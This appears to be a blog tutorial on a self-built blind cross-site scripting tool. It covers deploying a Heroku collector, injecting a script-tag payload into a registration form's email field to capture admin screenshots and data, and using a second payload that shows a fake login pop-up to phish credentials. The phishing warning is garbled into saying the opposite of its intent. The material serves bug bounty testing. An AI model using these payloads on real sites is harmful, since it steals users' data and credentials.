Finding Blind XSS with vaya-ciego-nen


In this guide I'm going to explain how to find Blind Cross-site scripting (XSS) vulnerabilities with a tool I recently made: vaya-ciego-nen.

Set up Example Example 2

Set up

First, we'll need to clone the repository from git.

root@kali:~# git clone
Cloning into 'vaya-ciego-nen'...
remote: Enumerating objects: 64, done.
remote: Counting objects: 100% (64/64), done.
remote: Compressing objects: 100% (49/49), done.
remote: Total 64 (delta 19), reused 44 (delta 10), pack-reused 0
Unpacking objects: 100% (64/64), done.
root@kali:~# cd vaya-ciego-nen/

As the project is oriented to be deployed in a free heroku instance, we'll need to install the heroku-cli and log in (the changes are minimum if you want to use the code in your own server).

root@kali:~/vaya-ciego-nen# heroku login
heroku: Press any key to open up the browser to login or q to exit: 
Opening browser to
Logging in... done
Logged in as

Next, we'll need to set a name for our own application, I used cacapipi.

root@kali:~/vaya-ciego-nen# heroku create cacapipi
Creating ⬢ cacapipi... done |

Also we'll add a postgresql database where the application it's going to store all the triggers.

root@kali:~/vaya-ciego-nen# heroku addons:create heroku-postgresql:hobby-dev
Creating heroku-postgresql:hobby-dev on ⬢ cacapipi... free
Database has been created and is available
 ! This database is empty. If upgrading, you can transfer
 ! data from another database with pg:copy
Created postgresql-objective-48735 as DATABASE_URL
Use heroku addons:docs heroku-postgresql to view documentation

Then edit the file with a username and password of your choice (this will be to access your dashboard) and change the name by your recently created application.

root@kali:~/vaya-ciego-nen# vim 
root@kali:~/vaya-ciego-nen# cat 

Finally, commit the changes and push them to heroku.

root@kali:~/vaya-ciego-nen# git add .
root@kali:~/vaya-ciego-nen# git commit -m "letsgo"
root@kali:~/vaya-ciego-nen# git push heroku master
Enumerating objects: 64, done.
Counting objects: 100% (64/64), done.
Delta compression using up to 4 threads
Compressing objects: 100% (59/59), done.
Writing objects: 100% (64/64), 364.17 KiB | 10.12 MiB/s, done.
Total 64 (delta 19), reused 0 (delta 0)
remote: Compressing source files... done.
remote: Building source:
remote: -----> Python app detected
remote: -----> Installing python-3.6.8
remote: -----> Installing pip
remote: -----> Installing SQLite3
remote: -----> Installing requirements with pip
remote:        Collecting Flask (from -r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading (94kB)
remote:        Collecting gunicorn (from -r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 2))
remote:          Downloading (112kB)
remote:        Collecting flask-cors (from -r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 3))
remote:          Downloading
remote:        Collecting Flask-BasicAuth (from -r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 4))
remote:          Downloading
remote:        Collecting psycopg2-binary (from -r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 5))
remote:          Downloading (2.9MB)
remote:        Collecting Jinja2>=2.10.1 (from Flask->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading (124kB)
remote:        Collecting click>=5.1 (from Flask->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading (81kB)
remote:        Collecting Werkzeug>=0.15 (from Flask->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading (328kB)
remote:        Collecting itsdangerous>=0.24 (from Flask->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading
remote:        Collecting Six (from flask-cors->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 3))
remote:          Downloading
remote:        Collecting MarkupSafe>=0.23 (from Jinja2>=2.10.1->Flask->-r /tmp/build_44c66828557dfec9f38c9a1fc49d2e84/requirements.txt (line 1))
remote:          Downloading
remote:        Installing collected packages: MarkupSafe, Jinja2, click, Werkzeug, itsdangerous, Flask, gunicorn, Six, flask-cors, Flask-BasicAuth, psycopg2-binary
remote:          Running install for Flask-BasicAuth: started
remote:            Running install for Flask-BasicAuth: finished with status 'done'
remote:        Successfully installed Flask-1.1.1 Flask-BasicAuth-0.2.0 Jinja2-2.10.1 MarkupSafe-1.1.1 Six-1.12.0 Werkzeug-0.15.5 click-7.0 flask-cors-3.0.8 gunicorn-19.9.0 itsdangerous-1.1.0 psycopg2-binary-2.8.3
remote: -----> Discovering process types
remote:        Procfile declares types -> web
remote: -----> Compressing...
remote:        Done: 48.2M
remote: -----> Launching...
remote:        Released v5
remote: deployed to Heroku
remote: Verifying deploy... done.
 * [new branch]      master -> master

When the deploy finishes, the webapp will be ready and our payload will be available in our custom URL (

Also, accessing to /dashboard with the credentials we entered before, we'll be able to see and manage all the triggers.


Imagine you find the following register form. If you're looking for bugs on this website, you could use your recently created webapp to try to trigger a blind xss using "><script src=""></script>. Check how I added email_input as a parameter, which will later help us to identify which payload triggered the vulnerability.

If the user input is not correctly filtered, when someone sees our "email" it will trigger the xss and it will appear in our dashboard.

Clicking on the view button will pop up more info about the xss.

The screenshot shows us that the xss was triggered when the admin was checking the users information.

In this example we have emails and passwords from other users -> Critical -> $$$.

Example 2

NOTE: Most bugbounties don't allow phishing attacks on their programs. Don't do this if you're 100% sure you're allowed.

Now imagine, we got the same xss but with any interesting information in the screenshot and no cookies because the httpOnly flag was correctly set.

vaya-ciego-nen also includes another payload which creates a fake login pop up in the victim's browser to phish him.

To use this payload we have to use /phish in our url path instead, "><script src=""></script> in our example.

Then, the user who triggers the xss should see something like this.

If the user enters its credentials, they're are going to appear in your dashboard.